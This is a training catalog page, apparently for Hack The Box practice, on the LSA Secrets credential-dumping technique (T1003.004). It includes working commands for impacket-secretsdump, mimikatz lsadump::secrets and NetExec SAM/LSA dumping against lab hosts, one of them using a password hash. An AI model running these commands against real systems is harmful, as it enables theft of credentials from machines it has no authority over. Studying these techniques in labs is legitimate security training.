T1003.004

LSA Secrets

Sub-technique of T1003 OS Credential Dumping ↗

Extracting LSA secrets from the registry: service passwords, autologon and the machine account.

How it shows up on Hack The Box

secretsdump against a host where you are admin dumps SAM and LSA at once; service passwords often come out in cleartext.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Active Directory in depth › Impacket

SAM/LSA (local admin) Attacker
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20

Mimikatz › Credentials

LSA secrets Target
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"

NetExec (nxc) › As an administrator

SAM and LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsa

Tools